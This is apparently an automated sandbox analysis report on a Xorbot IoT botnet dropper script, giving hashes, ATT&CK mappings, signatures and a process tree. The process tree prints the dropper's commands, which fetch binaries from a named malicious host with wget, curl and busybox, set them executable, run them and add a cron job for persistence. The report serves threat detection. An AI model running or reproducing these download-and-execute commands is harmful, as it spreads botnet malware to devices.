xorbot | d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81

Analysis

max time kernel
149s
max time network
159s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 12:43

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General

Target

BZTS9_bins.sh
Size

10KB
MD5

5f5a8beaeee13fdd7a462ebf3797535c
SHA1

982824d6165ed0668b25d6765b631170fc8bbd1d
SHA256

d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81
SHA512

1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a
SSDEEP

96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1046) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
767	chmod
750	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	751	BZTS9_bins.sh
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	768	BZTS9_bins.sh

Renames itself 1 IoCs

pid	Process
769	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3Vcknn	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/780/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/837/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/872/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/892/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/297/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/807/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/871/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/41/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/109/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/284/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/591/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/816/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/818/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/835/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/848/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/21/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/108/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/641/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/781/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/820/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/850/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/137/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/205/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/269/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/310/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/776/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/805/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/823/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/845/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/639/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/777/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/806/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/854/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/860/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/886/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/5/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/789/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/791/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/809/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/826/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/836/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/22/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/766/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/827/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/833/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/847/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/858/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/891/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/7/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/15/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/778/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/844/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/9/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/13/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/832/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/889/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/1/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/8/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/97/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/783/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
File opened for reading	/proc/841/cmdline	hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
645	wget
663	curl
749	busybox
754	wget
757	curl
764	busybox
778	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	wget
File opened for modification	/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F	curl
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	wget
File opened for modification	/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74	curl

/tmp/BZTS9_bins.sh
/tmp/BZTS9_bins.sh
1⤵
- Executes dropped EXE
PID:641
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:643
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:645
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:663
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - System Network Configuration Discovery
  PID:749
- /bin/chmod
  chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:751
- /bin/rm
  rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - System Network Configuration Discovery
  PID:764
- /bin/chmod
  chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:768
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:770
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:771
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:772
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:773
- /bin/rm
  rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
  2⤵
  PID:775
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
  2⤵
  - System Network Configuration Discovery
  PID:778

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.3Vcknn

Filesize
210B

MD5
4588ed83db200714cb0f8357c4cb1bae

SHA1
bd2998c2fed9fbf043726453cb56b1d0e4879673

SHA256
c9f511aebeee58d66f554c6a1330fc92ecd1afa07b84575770fcdfb14570c150

SHA512
376db3de3c65c05053e413738c140a619a4a69b82cafb277157dc1e1a473dfa7285db874d9719f8f079407abb7bcc78e29e0cee5accc5e5aad3372835cf103f9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads